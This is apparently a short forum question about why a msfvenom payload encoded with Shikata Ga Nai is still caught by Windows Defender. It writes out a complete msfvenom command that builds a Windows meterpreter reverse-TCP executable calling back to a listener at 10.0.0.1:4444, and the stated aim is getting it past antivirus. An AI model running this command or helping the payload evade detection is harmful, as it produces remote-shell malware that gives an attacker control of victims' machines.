Shikata Ga Nai Encoder Baypass AV

hi :D

i created a paylaod using msfvenom and i use the encoder Shikata Ga Nai

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT= 4444 -e x86/shikata_ga_nai -i 20 -f exe > xxx.exe

and then i moved it to my windows 7 and 10 and the windows defender pop up and catch them ..

Shikata Ga Nai is not the best encoder out there ? how can it be that windows defender catch it ? is it cuz of me(the code i wrote) ?